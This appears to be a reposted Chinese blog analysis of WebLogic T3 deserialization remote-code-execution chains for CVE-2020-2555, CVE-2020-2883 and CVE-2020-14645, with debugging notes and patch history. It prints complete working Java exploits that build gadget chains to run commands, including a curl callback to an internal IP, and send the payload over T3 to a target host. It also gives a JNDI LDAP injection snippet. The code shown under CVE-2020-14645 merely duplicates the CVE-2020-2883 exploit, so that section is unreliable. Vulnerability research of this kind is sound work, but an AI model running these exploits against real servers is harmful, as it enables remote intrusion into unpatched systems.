Weblogic12c T3 協議安全漏洞分析【CVE-2020-14645 CVE-2020-2883 CVE-2020-14645】

給個關注?寶兒!
給個關注?寶兒!
給個關注?寶兒!
關注公眾號:b1gpig信息安全,文章推送不錯過
在這里插入圖片描述## 前言
WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件。 主要用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。 近幾年頻繁爆發出多個RCE漏洞,而在今年,其T3協議被頻繁攻擊和發布補丁與繞過,本文主要對今年來由T3協議入口所產生的多個RCE漏洞進行分析,其中主要包括CVE-2020-2555、 CVE-2020-2883(bypass CVE-2020-2555補丁)、 CVE-2020-14645 (bypass CVE-2020-2883補丁)。

環境搭建

兩種搭建環境,第一種是利用docker搭建環境,利用IDEA動態調試,可參考[1],本文調試建議使用Weblogic Server版本12.2.1.4.0,對于該版本的docker文件在https://hub.docker.com/_/oracle-weblogic-server-12c?tab=reviews。
第二種是在官方下載安裝包[2],并安裝安裝指引進行安裝[3]。
我們采用第二種進行。在Oracle官網下載后進行安裝。

java.exe -jar C:\Users\Administrator\Desktop\fmw_12.2.1.4.0_wls_lite_generic.jar

在這里插入圖片描述
安裝完后導入IDEA再進行配置即可。

漏洞版本

CVE-2020-2555 && CVE-2020-2883(bypass CVE-2020-2555補丁)

10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0

CVE-2020-14645 (bypass CVE-2020-2883補丁)

12.2.1.4.0**

漏洞成因

簡單理解該漏洞成因便是Weblogic 默認開啟 T3 協議,攻擊者可利用T3協議進行反序列化漏洞實現遠程代碼執行。
基于代碼的漏洞介紹:CVE-2020-2555主要源于在coherence.jar存在著用于gadget構造的類(反序列化構造類),并且利用weblogic默認存在的T3協議進行傳輸和解析進而導致weblogic服務器反序列化惡意代碼最后執行攻擊語句。
在這里插入圖片描述

T3協議

WebLogic Server 中的 RMI 通信使用 T3 協議在 WebLogic Server 和其他 Java 程序(包括客戶端及其他 WebLogic Server 實例)間傳輸數據。

同時T3協議包括
1.請求包頭 2. 請求主體

因此,在T3數據包構造過程中,需要發送兩部分的數據

  • List item

請求包頭,形如

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://localhost:7001 LP:DOMAIN 1

以\n結束

  • 同時,我們發送t3的請求包,可用于刺探服務器weblogic版本,該服務器會將自身版本進行響應,形如
HELO:12.1.3.0 false AS:2048 HL:19 MS:10000000

在這里插入圖片描述
在這里插入圖片描述

  • 序列化數據部分,序列化部分的構成方式有兩種:

第一種生成方式為,將weblogic發送的JAVA序列化數據的第二到九部分的JAVA序列化數據的任意一個替換為惡意的序列化數據。

第二種生成方式為,將weblogic發送的JAVA序列化數據的第一部分與惡意的序列化數據進行拼接。
具體T3的數據結構可參考http://drops.xmd5.com/static/drops/web-13470.html,這里我們不關注T3具體數據結構,而是將重心放在T3的反序列化漏洞上。

  • 綜上,為實現T3協議的JAVA序列化包,需要在T3數據結構頭部發送后在其中插入序列化惡意數據,該惡意數據與JAVA的原生ObjectOutputStream數據類型是一樣的,然后發送T3數據結構尾部。

CVE-2020-2555

由于CVE-2020-2883是對2555補丁的繞過,我們先看看原來的CVE-2020-2555利用鏈。

BadAttributeValueExpException.readObject()
com.tangosol.util.filter.LimitFilter.toString() //CVE-2020-2555出現時 對此進行了修補
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
//...
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()

我們使用12.2.1.4.0對此進行調試。
根據已知的一些漏洞信息

漏洞的產生點是 coherence.jar 包中的 LimitFilter 函數,我們將相關漏洞包coherence.jar和tangsol.jar 添加到庫函數并反編譯add as library

在server\lib\console-ext\autodeploy\tangosol.jar!\com\tangosol\util\filter\LimitFilter.class#toString下一些斷點,調試并發送POC。

根據堆棧信息,Weblogic收到POC的數據后,對其進行分發后對T3的數據段部分進行了反序列化還原操作,進而產生了該漏洞的入口。
在這里插入圖片描述
利用 BadAttributeValueExpException類實例可以用來調用任意類的**toString()**方法 ,這里可能有小伙伴會好奇,為什么這個類的實例能調用在任意類的toString()方法?原因如下:

利用 java.io.ObjectInputStream反序列化一個類時會默認調用該類的readObject方法。

javax.management.BadAttributeValueExpException#readObject方法會對傳入的ObjectInputStream實例提取其val屬性的值(這也是為什么我們要將惡意對象注入到val屬性)。

然后將該值進行判斷(valObj受到我們的控制,就是我們注入val屬性的對象),我們需要進入的是val = valObj.toString();進而調用控制的valObj對象的toString方法:
在這里插入圖片描述
這里的System.getSecurityManager需要為null才會進入toString邏輯。在這里插入圖片描述
因此我們可以操控valObj成為任意對象并對讓其使用toString方法,這里我們選擇的惡意宿主是LimitFilter類,原因如下:
了解到LimitFilter類會被我們操作執行toString方法,其toString方法存在如下操作
注意到在LimitFilter.class#toString方法中, 獲取到該類的m_comparator成員屬性后,轉換為(ValueExtractor)對象并調用自身extract方法 :
在這里插入圖片描述
這里可能會有疑問,如何去控制m_comparator成員屬性呢?因為這個類其實就是我們自己寫的惡意類,當然可以控制其成員屬性了。
在這里插入圖片描述
到這里,我們就可以控制我們構造的惡意類里面m_comparator成員的extract方法了,而m_comparator成員可控。因此我們可以控制任意類的extract方法了。而后我們選取的利用類是com.tangosol.util.extractor.ChainedExtractor#extract,因為它的extract方法是這樣的,該方法會將this.getExtractors返回的數組依次調extract并返回給oTarget:在這里插入圖片描述
this.getExtractors方法繼承自AbstractCompositeExtractor,返回成員屬性this.m_aExtractor在這里插入圖片描述
而這個this.m_aExtractor則來自原始方法AbstractCompositeExtractor(),即是初始化該示例的時候傳入的:
在這里插入圖片描述
那么可以理解為,com.tangosol.util.extractor.ChainedExtractor類會依次對 初始化實例時調用傳入的ValueExtractor[]類型的列表 調用extract方法。

至此我們便有了調用多個對象extract的能力。

又是一個疑問,這里都是調用extract方法,怎么才能從extract到Runtime.getRuntime.exec() ****的調用呢?答案是反射。如果我們可以找到一個類,該類的extract方法可控并且傳入參數會被順序進行反射,那么就可以通過控制extract和傳入參數進行RCE了。這個類是com.tangosol.util.extractor.ReflectionExtractor#extract
在這里插入圖片描述
**反射的形式這里不細講了,有興趣的可以參考[4]
這里需要形成需要被調用的方法.invoke(被調用類class, 執行的代碼)。
諸如

***.invoke(***,new String[]{"cmd","/c","calc"}//用String.class.getClass().forName("java.lang.Runtime"))還原調用類class
***.invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"}//用String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime")構造method
//這里相當于java.lang.Runtime.getRuntime(new String[]{"cmd","/c","calc")
String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"}//再調一層反射獲取exec
//String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class)
String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class)
.invoke(被調用類class, 執行的代碼);//完整反射
String.class.getClass().
forName("java.lang.Runtime")
.getMethod("exec",String.class)
.invoke(
String.class.getClass().forName("java.lang.Runtime").
getMethod("getRuntime").
invoke(String.class.getClass().forName("java.lang.Runtime"))
,new String[]{"calc"}
);

然后利用com.tangosol.util.extractor.ReflectionExtractor#extract進行傳入構造再invoke。
綜上,我們構造如下代碼片段。在這里插入圖片描述

POC邏輯

1.組裝ReflectionExtractor成為列表賦值給valueExtractors(ReflectionExtractor有反射的extract函數)。
在這里插入圖片描述
2.然后通過放入ChainedExtractor(列表依次extract) (ChainedExtractor有列表extract函數)。在這里插入圖片描述
3.然后通過放入limitFilter(limitFilter可讓ChainedExtractor使用extract)。在這里插入圖片描述
4.然后通過放入BadAttributeValueExpException(令limitFilter使用toString)。在這里插入圖片描述
于是構成了該利用鏈。在這里插入圖片描述
最后序列化數據源代碼大致如下:

package test.laker;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;public class Exploit {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {
//定義多次轉換鏈進行反射調用
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{
"getRuntime", new Class[0]
}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})
};
//初始化LimitFiler類實例
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
//將limitFilter放入BadAttributeValueExpException的val屬性中
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);
//生成序列化payload
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/poc2.ser"));
objectOutputStream.writeObject(expException);
objectOutputStream.close();
}
}

CVE-2020-2555補丁

本地補丁檢測方式:

cd %Oracle_Home%/Middleware/wlserver/server/lib
java -cp weblogic.jar weblogic.version

在這里插入圖片描述
可以看到,Oracle官方在一月發布了CVE-2020-2555的補丁[5]。
在這里插入圖片描述
該補丁需要用戶持有正版軟件的許可賬號,使用該賬號登陸官方網站方可下載。在這里插入圖片描述
該補丁阻斷了LimitFilter傳入的對象使用extract方法.

CVE-2020-2883

后續 VNPT ISC的研究員Quynh Le向ZDI提交了一個漏洞][6]

該補丁阻斷了LimitFilter,也就是阻斷了從readObject —> toString ----> extract的路徑

然而該研究員找到了另一個路徑去連接readObject ----> extract

java.util.PriorityQueue.readObject
Oracle WebLogic 最新補丁的繞過漏洞分析(CVE-2020-2883)

https://github.com/Y4er/CVE-2020-2883

java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
com.tangosol.util.extractor.ExtractorComparator.compare()
com.tangosol.util.extractor.ChainedExtractor.extract()
//...
Method.invoke()
//...
Runtime.exec()

java.util.PriorityQueue#readObject會調用heapify函數,如下圖,具體利用時使用雙參構造方法,我們看看文檔的描述。在這里插入圖片描述
使用指定的初始容量創建一個 PriorityQueue,并根據指定的比較器對元素進行排序。
在這里插入圖片描述
這里我們指定的比較器是 ExtractorComparator ,初始容量為2
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
顯而易見,這里我們調用的ExtractorComparator這個比較器compare函數存在著extract方法。在這里插入圖片描述
o1和o2的值:在這里插入圖片描述
讓m_extractor對象使用extract方法。這里操控m_extractor的方法就是反射(具體前面有)。
在這里插入圖片描述
于是乎,和前面一樣的,這個m_extractor對象被修改為數組以達到多個對象調用extract方法。然后就進入到com.tangosol.util.extractor.ChainedExtractor。
在這里插入圖片描述
至此,完成了從readObject —> compare ----> extract的連接。后續調用就和CVE-2020-2555相同了。
調用鏈:在這里插入圖片描述
POC可以參考https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java

package com.supeream;// com.supeream from https://github.com/5up3rc/weblogic_cmd/
// com.tangosol.util.extractor.ChainedExtractor from coherence.jarimport com.supeream.serial.Reflections;
import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;/** author:Y4er.com** readObject:797, PriorityQueue (java.util)* heapify:737, PriorityQueue (java.util)* siftDown:688, PriorityQueue (java.util)* siftDownUsingComparator:722, PriorityQueue (java.util)* compare:71, ExtractorComparator (com.tangosol.util.comparator)* extract:81, ChainedExtractor (com.tangosol.util.extractor)* extract:109, ReflectionExtractor (com.tangosol.util.extractor)* invoke:498, Method (java.lang.reflect)*/public class CVE_2020_2883 {public static void main(String[] args) throws Exception {ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});        //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}});ValueExtractor[] valueExtractors = new ValueExtractor[]{reflectionExtractor1,reflectionExtractor2,reflectionExtractor3,};Class clazz = ChainedExtractor.class.getSuperclass();Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");m_aExtractor.setAccessible(true);ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});ValueExtractor[] valueExtractors1 = new ValueExtractor[]{reflectionExtractor};ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));queue.add("1");queue.add("1");m_aExtractor.set(chainedExtractor1, valueExtractors);Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");queueArray[0] = Runtime.class;queueArray[1] = "1";// serializebyte[] payload = Serializables.serialize(queue);// T3 send, you can also use python weblogic_t3.py test.serT3ProtocolOperation.send("172.16.1.130", "7001", payload);// testserialize(queueArray);
//        deserialize();}public static void serialize(Object obj) {try {ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));os.writeObject(obj);os.close();} catch (Exception e) {e.printStackTrace();}}public static void deserialize() {try {ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));is.readObject();} catch (Exception e) {e.printStackTrace();}}
}

CVE-2020-2883補丁

Oracle官方對于CVE-2020-2883的補丁[7]將 extract 方法存在危險操作的 MvelExtractor 和 ReflectionExtractor 兩個類加入到了黑名單中(ReflectionExtractor與MvelExtractor 有反射的extract函數)。

java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
com.tangosol.util.extractor.AbstractExtractor.compare()
com.tangosol.util.extractor.MultiExtractor.extract()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()//patch of 2020-2883
Method.invoke()
//...
Method.invoke()
//...
Runtime.exec()

CVE-2020-14645

ReflectionExtractor與MvelExtractor 被加入了黑名單,如果我們能找到一個類(類的extract函數中有可控的反射操作),便可繼續該鏈條(這里我們有的是readObject —> compare ----> extract —> 多個類的extract --> extract中可控反射)。
可采用這個類com.tangosol.util.extractor.UniversalExtractor#extract。
在這里插入圖片描述
遺憾的是其被transient修飾,被transient關鍵字修飾的變量不再能被序列化。在這里插入圖片描述
但是此處在75行對oTarget傳入了extractComplex方法。
在這里插入圖片描述
又見希望,該方法中也存在可控反射。
在這里插入圖片描述
值得注意的是,兩條method獲取方法只能從第一個if去取,原因是else中需要確保fProperty==false, 然而184行中m_fMethod存在transient修飾,被transient關鍵字修飾的變量不再能被序列化因此無法構建序列化字節流。
在這里插入圖片描述在這里插入圖片描述

而在if條件中收到參數影響有sBeanAttribute–> sCName—>this.getCanonicalName(),這里做的工作就是187行對sCName首字母大寫并將其與BEAN_ACCESSOR_PREFIXES列表的值進行拼接,取到則停止返回method。
在這里插入圖片描述那么
BEAN_ACCESSOR_PREFIXES列表
是什么樣的呢?其存儲了get和is兩個字符串。因此,在拼接的時候,只能形成get___或者is___這樣的方法調用。在這里插入圖片描述

于是可以利用 com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()方法進行反射調用構建JNDI注入,這也是為什么之前都是利用原有的ReflectionExtractor直接反射到Runtime類執行而這里卻只能發起JNDI請求在低版本的JDk來執行代碼。

POC邏輯

在POC構造上,先初始化JDBC對象,設置this.m_sName參數為getDatabaseMetaData()

JdbcRowSetImpl rowSet = new JdbcRowSetImpl();rowSet.setDataSourceName("ldap://127.0.0.1:1389/#Calc");
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);

在這里插入圖片描述
然后是關鍵點的sName會被去掉前綴,因此后面要進行拼接。在這里插入圖片描述
依舊讓queue使用ExtractorComparator這個比較器。

final ExtractorComparator comparator = new ExtractorComparator(extractor);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

對該queue實例設置成員變量(反射)。此處讓該實例queue擁有兩個成員變量,一個是queue,值為new Object[]{rowSet, rowSet},一個是size,值為2。這里用了寫的Reflections工具類,當然也可以一點點用反射進行設置。

Reflections.setFieldValue(queue, "queue", new Object[]{rowSet, rowSet});
Reflections.setFieldValue(queue, "size", 2);

POC參考https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java

package com.supeream;// com.supeream from https://github.com/5up3rc/weblogic_cmd/
// com.tangosol.util.extractor.ChainedExtractor from coherence.jarimport com.supeream.serial.Reflections;
import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;/** author:Y4er.com** readObject:797, PriorityQueue (java.util)* heapify:737, PriorityQueue (java.util)* siftDown:688, PriorityQueue (java.util)* siftDownUsingComparator:722, PriorityQueue (java.util)* compare:71, ExtractorComparator (com.tangosol.util.comparator)* extract:81, ChainedExtractor (com.tangosol.util.extractor)* extract:109, ReflectionExtractor (com.tangosol.util.extractor)* invoke:498, Method (java.lang.reflect)*/public class CVE_2020_2883 {public static void main(String[] args) throws Exception {ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});        //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}});ValueExtractor[] valueExtractors = new ValueExtractor[]{reflectionExtractor1,reflectionExtractor2,reflectionExtractor3,};Class clazz = ChainedExtractor.class.getSuperclass();Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");m_aExtractor.setAccessible(true);ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});ValueExtractor[] valueExtractors1 = new ValueExtractor[]{reflectionExtractor};ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));queue.add("1");queue.add("1");m_aExtractor.set(chainedExtractor1, valueExtractors);Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");queueArray[0] = Runtime.class;queueArray[1] = "1";// serializebyte[] payload = Serializables.serialize(queue);// T3 send, you can also use python weblogic_t3.py test.serT3ProtocolOperation.send("172.16.1.130", "7001", payload);// testserialize(queueArray);
//        deserialize();}public static void serialize(Object obj) {try {ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));os.writeObject(obj);os.close();} catch (Exception e) {e.printStackTrace();}}public static void deserialize() {try {ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));is.readObject();} catch (Exception e) {e.printStackTrace();}}
}

收到的LDAP請求:在這里插入圖片描述
該CVE漏洞利用服務器有JDK條件,且只能在Weblogic Server 12.2.1.4.*存在。
LDAP: < JDK6u201/7u191/8u182/11.0.1 RMI: < JDK6u141/7u131/8u121

參考文章[1]利用docker遠程動態調試weblogic
https://blog.csdn.net/sojrs_sec/article/details/103237150
[2]官方下載
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
[3]官方安裝指引
https://docs.oracle.com/en/middleware/fusion-middleware/12.2.1.4/wlsig/installing-oracle-weblogic-server-and-coherence-software.html#GUID-5C7D4437-46A2-45A2-85F3-738B0DFE9AE2
[4] JAVA 反射
https://www.jianshu.com/p/9be58ee20dee
[5]patch for CVE-2020-2555
https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2555
[6]Quynh Le向ZDI提交漏洞
https://www.zerodayinitiative.com/advisories/ZDI-20-570/
[7]patch for CVE-2020-2883
https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2883
https://www.oracle.com/security-alerts/cpuapr2020.html

本文參考:https://paper.seebug.org/1321/
404yyds!!!

看完點贊關注不迷路!!! 后續繼續更新優質安全內容!!!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/532563.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/532563.shtml
英文地址,請注明出處:http://en.pswp.cn/news/532563.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Getshell總結

按方式分類&#xff1a; 0x01注入getshell&#xff1a; 0x02 上傳 getwebshell 0x03 RCE getshell 0x04 包含getwebshell 0x05 漏洞組合拳getshell 0x06 系統層getcmdshell 0x07 釣魚 getcmdshell 0x08 cms后臺getshell 0x09 紅隊shell競爭分析 0x01注入getshell&#xff1a;…

編寫可靠bash腳本的一些技巧

編寫可靠bash腳本的一些技巧 原作者&#xff1a;騰訊技術工程 原文鏈接&#xff1a;https://zhuanlan.zhihu.com/p/123989641 寫過很多 bash 腳本的人都知道&#xff0c;bash 的坑不是一般的多。 其實 bash 本身并不是一個很嚴謹的語言&#xff0c;但是很多時候也不得不用。以下…

python 到 poc

0x01 特殊函數 0x02 模塊 0x03 小工具開發記錄 特殊函數 # -*- coding:utf-8 -*- #內容見POC.demo; POC.demo2 ;def add(x,y):axyprint(a)add(3,5) print(------------引入lambad版本&#xff1a;) add lambda x,y : xy print(add(3,5)) #lambda函數,在lambda函數后面直接…

protobuf版本常見問題

protobuf版本常見問題 許多軟件都依賴 google 的 protobuf&#xff0c;我們很有可能在安裝多個軟件時重復安裝了多個版本的 protobuf&#xff0c;它們之間很可能出現沖突并導致在后續的工作中出現版本不匹配之類的錯誤。本文將討論筆者在使用 protobuf 中遇到的一些問題&#…

CMake常用命令整理

CMake常用命令整理 轉自&#xff1a;https://zhuanlan.zhihu.com/p/315768216 CMake 是什么我就不用再多說什么了&#xff0c;相信大家都有接觸才會看一篇文章。對于不太熟悉的開發人員可以把這篇文章當個查找手冊。 1.CMake語法 1.1 指定cmake的最小版本 cmake_minimum_r…

CVE-2021-41773 CVE-2021-42013 Apache HTTPd最新RCE漏洞復現 目錄穿越漏洞

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; CVE-2021-41773漏洞描述&#xff1a; Apache HTTPd是Apache基金會開源的一款流行的HTTP服務器。2021年10月8日Apache HTTPd官方發布安全更新&#xff0c;披…

SSRF,以weblogic為案例

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 復習一下ssrf的原理及危害&#xff0c;并且以weblog的ssrf漏洞為案例 漏洞原理 SSRF(Server-side Request Forge, 服務端請求偽造) 通常用于控制web進而…

C++11 右值引用、移動語義、完美轉發、萬能引用

C11 右值引用、移動語義、完美轉發、引用折疊、萬能引用 轉自&#xff1a;http://c.biancheng.net/ C中的左值和右值 右值引用可以從字面意思上理解&#xff0c;指的是以引用傳遞&#xff08;而非值傳遞&#xff09;的方式使用 C 右值。關于 C 引用&#xff0c;已經在《C引用…

C++11 std::function, std::bind, std::ref, std::cref

C11 std::function, std::bind, std::ref, std::cref 轉自&#xff1a;http://www.jellythink.com/ std::function 看看這段代碼 先來看看下面這兩行代碼&#xff1a; std::function<void(EventKeyboard::KeyCode, Event*)> onKeyPressed; std::function<void(Ev…

Java安全(一) : java類 | 反射

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.java基礎 Java平臺共分為三個主要版本Java SE&#xff08;Java Platform, Standard Edition&#xff0c;Java平臺標準版&#xff09;、Java EE&#xff0…

LeetCode-287 尋找重復數 二分法

LeetCode-287 尋找重復數 二分法 287. 尋找重復數 給定一個包含 n 1 個整數的數組 nums &#xff0c;其數字都在 1 到 n 之間&#xff08;包括 1 和 n&#xff09;&#xff0c;可知至少存在一個重復的整數。 假設 nums 只有 一個重復的整數 &#xff0c;找出 這個重復的數 。…

對某公司一次弱口令到存儲型xss挖掘

轉自我的奇安信攻防社區文章:https://forum.butian.net/share/885 免責聲明: 滲透過程為授權測試,所有漏洞均以提交相關平臺,博客目的只為分享挖掘思路和知識傳播** 涉及知識: xss注入及xss注入繞過 挖掘過程: 某次針對某目標信息搜集無意發現某工程公司的項目招標平臺 …

C++11新特性選講 語言部分 侯捷

C11新特性選講 語言部分 侯捷 本課程分為兩個部分&#xff1a;語言的部分和標準庫的部分。只談新特性&#xff0c;并且是選講。 本文為語言部分筆記。 語言 Variadic Templatesmove semanticsautoRange-based for loopInitializer listLambdas… 標準庫 type_traitsunodered…

java安全(二):JDBC|sql注入|預編譯

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1 JDBC基礎 JDBC(Java Database Connectivity)是Java提供對數據庫進行連接、操作的標準API。Java自身并不會去實現對數據庫的連接、查詢、更新等操作而是通…

java安全(三)RMI

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.RMI 是什么 RMI(Remote Method Invocation)即Java遠程方法調用&#xff0c;RMI用于構建分布式應用程序&#xff0c;RMI實現了Java程序之間跨JVM的遠程通信…

LeetCode-726 原子的數量 遞歸

LeetCode-726 原子的數量 遞歸 題目鏈接&#xff1a;LeetCode-726 原子的數量 給你一個字符串化學式 formula &#xff0c;返回 每種原子的數量 。 原子總是以一個大寫字母開始&#xff0c;接著跟隨 0 個或任意個小寫字母&#xff0c;表示原子的名字。 如果數量大于 1&#xf…

java安全(四) JNDI

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.JNDI JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調用JNDI的API應用程序可以定位資源和其他程序對象。JNDI是Java…

二叉樹的層序遍歷和前中后序遍歷代碼 迭代/遞歸

前中后序遍歷&#xff08;DFS&#xff09; 首先我們要明確前中后序遍歷的順序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 前中后序遍歷的遞歸代碼和迭代代碼分別有各自的框架&#xff0c;然后根據遍歷順序調整記錄元素的位置即可。 …

java安全(五)java反序列化

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1. 序列化 在調用RMI時,發現接收發送數據都是反序列化數據. 例如JSON和XML等語言,在網絡上傳遞信息,都會用到一些格式化數據,大多數處理方法中&#xff0c…

git merge和rebase的區別與選擇

git merge和rebase的區別與選擇 轉自&#xff1a;https://github.com/geeeeeeeeek/git-recipes/wiki/5.1-%E4%BB%A3%E7%A0%81%E5%90%88%E5%B9%B6%EF%BC%9AMerge%E3%80%81Rebase-%E7%9A%84%E9%80%89%E6%8B%A9#merge BY 童仲毅&#xff08;geeeeeeeeekgithub&#xff09; 這是一篇…